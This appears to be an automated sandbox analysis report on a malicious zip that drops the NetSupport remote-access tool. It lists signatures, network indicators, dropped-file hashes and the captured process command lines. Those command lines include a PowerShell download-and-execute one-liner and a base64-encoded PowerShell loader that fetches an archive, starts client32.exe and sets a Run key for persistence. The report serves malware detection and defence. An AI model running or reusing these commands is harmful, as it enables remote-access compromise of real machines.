Analysis Overview
SHA256
26f21ada754233191d1980622136860a9f88723aa9254165e6eb0361817d856c
Threat Level: Known bad
The file 08022024_2226_07022024_DCS7727723772772.zip was found to be: Known bad.
Malicious Activity Summary
NetSupport
Blocklisted process makes network request
Checks computer location settings
Executes dropped EXE
Loads dropped DLL
Adds Run key to start application
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-02-08 14:25
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-02-08 14:25
Reported
2024-02-08 14:28
Platform
win7-20231215-en
Max time kernel
120s
Max time network
124s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1936 wrote to memory of 2836 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1936 wrote to memory of 2836 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1936 wrote to memory of 2836 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\DCS7727723772772.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://assime.ca/command.php')"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | assime.ca | udp |
| CA | 67.43.225.106:443 | assime.ca | tcp |
| CA | 67.43.225.106:443 | assime.ca | tcp |
Files
memory/2836-4-0x000000001B0F0000-0x000000001B3D2000-memory.dmp
memory/2836-5-0x0000000002590000-0x0000000002598000-memory.dmp
memory/2836-6-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp
memory/2836-7-0x00000000026C0000-0x0000000002740000-memory.dmp
memory/2836-9-0x00000000026C0000-0x0000000002740000-memory.dmp
memory/2836-8-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp
memory/2836-10-0x00000000026C0000-0x0000000002740000-memory.dmp
memory/2836-11-0x00000000026C0000-0x0000000002740000-memory.dmp
memory/2836-12-0x00000000026C0000-0x0000000002740000-memory.dmp
memory/2836-13-0x00000000026C0000-0x0000000002740000-memory.dmp
memory/2836-14-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-02-08 14:25
Reported
2024-02-08 14:28
Platform
win10v2004-20231215-en
Max time kernel
142s
Max time network
158s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\modem_gprs_modules = "C:\\Users\\Admin\\AppData\\Local\\modem_gprs_modules\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\DCS7727723772772.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://assime.ca/command.php')"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Nop -ExeCUtIONPol bYPASS -W hI -eNco QwBoAEQASQByACAAJABlAE4AdgA6AEwATwBDAEEAbABhAHAAcABEAGEAVABhADsAIAAkAEcAMgBmAGYAdwAwAGMAPQBbAGIAeQB0AGUAWwBdAF0AQAAoADgAMAAsACAANwA1ACwAIAAzACwAIAA0ACkAOwAgACQAawBuAHMAUABVADIAQQA9ACcAaAB0AHQAcAA6AC8ALwBzAGEAawBhAGwAZQByAGEAbABvAC4AYwBvAG0ALwBjAGMAZQBhADIANgA4AGIALQA4ADcAMQA2AC0ANAA2AGIAZQAtADkAMQA0ADgALQAzAGUANgAxADQAYgAzADgAYQAwAGQAZgAuAHQAeAB0ACcAOwAgACQAMwBsAEsAYwBVAEgAWAA9ACcAagBHAGgAVAB5AG8AaQBDAC4AegBpAHAAJwA7ACAAJABYAEYAeABiADMAPQAnAG0AbwBkAGUAbQBfAGcAcAByAHMAXwBtAG8AZAB1AGwAZQBzACcAOwAgACQARABFAGYAZgBJAFMAPQBpAE4AVgBPAEsAZQAtAFcAZQBCAHIAZQBxAFUAZQBzAHQAIAAtAFUAcgBJACAAJABrAG4AcwBQAFUAMgBBACAALQBVAHMARQBiAEEAcwBJAEMAUABhAFIAUwBJAE4AZwA7ACAAJABCAG0ASgBOAGcANQBmAD0AJABEAEUAZgBmAEkAUwAuAGMAbwBuAFQAZQBOAHQAOwAgACQATgBUADYAVgBPAEUAPQAkAGUATgB2ADoATABPAEMAQQBsAGEAcABwAEQAYQBUAGEALAAgACQAWABGAHgAYgAzACAALQBqAG8AaQBOACAAJwBcACcAOwAgACQAYwBrAGEAdQA4AD0AIgAkAGUATgB2ADoATABPAEMAQQBsAGEAcABwAEQAYQBUAGEAXAAkADMAbABLAGMAVQBIAFgAIgA7ACAAJABQAHgASQBCAFgAcwBvAEYAPQBbAEMAbwBOAFYARQBSAHQAXQA6ADoAZgByAG8AbQBiAGEAUwBlADYANABTAFQAcgBpAE4ARwAoACQAQgBtAEoATgBnADUAZgApADsAIAAkAEgANQBMAHoAawBIAFQAPQAkAFAAeABJAEIAWABzAG8ARgAgAC0AUwBQAGwASQBUACAAJwAgACcAIAAtAEEAcwAgAFsAQgB5AHQARQBbAF0AXQA7ACAAJAAxAFkASwBnAHMAcwBuAD0AJABHADIAZgBmAHcAMABjACsAJABIADUATAB6AGsASABUADsAIABTAGMAIAAkADMAbABLAGMAVQBIAFgAIAAkADEAWQBLAGcAcwBzAG4AIAAtAEUATgBDAG8AZABpAE4AZwAgAEIAWQBUAGUAOwAgAEUAeABwAEEAbgBkAC0AQQBSAEMAaABJAHYAZQAgAC0AcABBAHQAaAAgACQAYwBrAGEAdQA4ACAALQBkAEUAUwBUAGkAbgBBAFQAaQBvAE4AUABhAHQASAAgACQATgBUADYAVgBPAEUAIAAtAGYAbwBSAEMARQA7ACAAUgBJACAAJAAzAGwASwBjAFUASABYADsAIABDAEQAIAAkAE4AVAA2AFYATwBFADsAIAAkAFIAcQBQAHQAUQBkAD0AIgB7ADAAfQBcAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlACIAIAAtAGYAIAAkAE4AVAA2AFYATwBFADsAIABzAHQAYQByAHQAIABjAGwAaQBlAG4AdAAzADIALgBlAHgAZQA7ACAATgBlAHcALQBJAFQARQBtAFAAcgBPAFAARQByAHQAeQAgAC0AUABhAFQASAAgACcASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAE0AZQAgACQAWABGAHgAYgAzACAALQBWAGEATABVAEUAIAAkAFIAcQBQAHQAUQBkACAALQBwAFIAbwBQAGUAcgBUAHkAVABZAFAARQAgACcAUwB0AHIAaQBuAGcAJwA7AA==
C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe
"C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 177.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 20.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | assime.ca | udp |
| CA | 67.43.225.106:443 | assime.ca | tcp |
| US | 8.8.8.8:53 | 106.225.43.67.in-addr.arpa | udp |
| US | 8.8.8.8:53 | sakaleralo.com | udp |
| DE | 192.121.22.184:80 | sakaleralo.com | tcp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 184.22.121.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | createcgroup.com | udp |
| GB | 5.61.62.93:443 | createcgroup.com | tcp |
| US | 8.8.8.8:53 | 93.62.61.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| US | 104.26.0.231:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 231.0.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 33.134.221.88.in-addr.arpa | udp |
| US | 138.91.171.81:80 | tcp | |
| US | 8.8.8.8:53 | 180.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 187.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.173.189.20.in-addr.arpa | udp |
Files
memory/1312-1-0x000001D0B5BC0000-0x000001D0B5BE2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kz3xi0kr.hnh.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1312-10-0x00007FFC0A0C0000-0x00007FFC0AB81000-memory.dmp
memory/1312-11-0x000001D0B5C00000-0x000001D0B5C10000-memory.dmp
memory/1312-12-0x000001D0B5C00000-0x000001D0B5C10000-memory.dmp
memory/724-22-0x00007FFC0A0C0000-0x00007FFC0AB81000-memory.dmp
memory/724-24-0x0000019DF6DE0000-0x0000019DF6DF0000-memory.dmp
memory/724-23-0x0000019DF6DE0000-0x0000019DF6DF0000-memory.dmp
memory/724-25-0x0000019DF6DE0000-0x0000019DF6DF0000-memory.dmp
memory/724-27-0x0000019DF93D0000-0x0000019DF93E2000-memory.dmp
memory/724-28-0x0000019DF93C0000-0x0000019DF93CA000-memory.dmp
C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe
| MD5 | a2b46c59f6e7e395d479b09464ecdba0 |
| SHA1 | 92c132307dd21189b6d7912ddd934b50e50d1ec1 |
| SHA256 | 89f0c8f170fe9ea28b1056517160e92e2d7d4e8aa81f4ed696932230413a6ce1 |
| SHA512 | 4f4479ddcd9d0986aec3d789f9e14f9285e8d9d63a5b8f73c9e3203d3a53cd575b1e15edf0d5f640816bb7f25bd3501244e0f7c181a716a6804742ed2f1cf916 |
C:\Users\Admin\AppData\Local\modem_gprs_modules\PCICL32.dll
| MD5 | 916c03d8fc0c1fd211c254737dff1055 |
| SHA1 | 948ee4fbae7ce9dc7a37ccaca75341876bbf5d70 |
| SHA256 | 250e8bbec081ae5e65b669da92652af6d4266db816c8705fbc9be84707914d99 |
| SHA512 | ad18049763a0c289f80c0efa21fbe2a44d0d3f4b5f3686ed9be7562e5c9c68f932a8047377e3a5a8a2a6f09046bb12eadf8b6d3b99dfaa81650fa633ccee1050 |
C:\Users\Admin\AppData\Local\modem_gprs_modules\PCICAPI.dll
| MD5 | dcde2248d19c778a41aa165866dd52d0 |
| SHA1 | 7ec84be84fe23f0b0093b647538737e1f19ebb03 |
| SHA256 | 9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917 |
| SHA512 | c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166 |
C:\Users\Admin\AppData\Local\modem_gprs_modules\pcichek.dll
| MD5 | a0b9388c5f18e27266a31f8c5765b263 |
| SHA1 | 906f7e94f841d464d4da144f7c858fa2160e36db |
| SHA256 | 313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a |
| SHA512 | 6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd |
memory/724-76-0x00007FFC0A0C0000-0x00007FFC0AB81000-memory.dmp
C:\Users\Admin\AppData\Local\modem_gprs_modules\MSVCR100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 512c6cab650bfda6ef2995f6b515ed6f |
| SHA1 | fec40abf4f5d74ea7f8828cee83770e423203083 |
| SHA256 | 84871d83ecd410fb4ddede63061d9c521d876d47a8ffdbb8609378447ba0d262 |
| SHA512 | 638fffef25de1c3e850eb4f4668c4fdafed7bde042b130325daf323b45d2784916381b410219473b5bbacb4c11c6b8b7ab892b3d5695edb0b0a0785233e8e19b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 08f9f3eb63ff567d1ee2a25e9bbf18f0 |
| SHA1 | 6bf06056d1bb14c183490caf950e29ac9d73643a |
| SHA256 | 82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0 |
| SHA512 | 425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512 |
memory/1312-82-0x00007FFC0A0C0000-0x00007FFC0AB81000-memory.dmp
C:\Users\Admin\AppData\Local\modem_gprs_modules\NSM.LIC
| MD5 | 866c96ba2823ac5fe70130dfaaa08531 |
| SHA1 | 892a656da1ea264c73082da8c6e5f5728abcb861 |
| SHA256 | 6a7c99e4bd767433c25d6df8df81baa99c05dd24fa064e45c306ff4d954e1921 |
| SHA512 | 0dafc66222bbfcb1558d9845ee4ddeb7a687561b08b86a07b66b120c22952a8082e041d9234d9c69c8ade5d4dae894d3f10afd7ba6dd3f057a08fb5d57c42112 |
C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.ini
| MD5 | 2cd1a8115b7328756129052384e2eed6 |
| SHA1 | 9458e9553d3d1f075ed09a06fda3f36136781704 |
| SHA256 | 02ab893e7d31d7c3b18d27c3c4ef6e056da27cc6ad7efa76b8d4729403a067d2 |
| SHA512 | df5630c14f1400166ecbf0854a48616c939c0467634c427f8a287edc5c064c0d259b1cec0b02ae7aa31e21d1609ff31f4e11285160323f2c24fcb02de4e20455 |
C:\Users\Admin\AppData\Local\modem_gprs_modules\HTCTL32.DLL
| MD5 | 2d3b207c8a48148296156e5725426c7f |
| SHA1 | ad464eb7cf5c19c8a443ab5b590440b32dbc618f |
| SHA256 | edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796 |
| SHA512 | 55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c |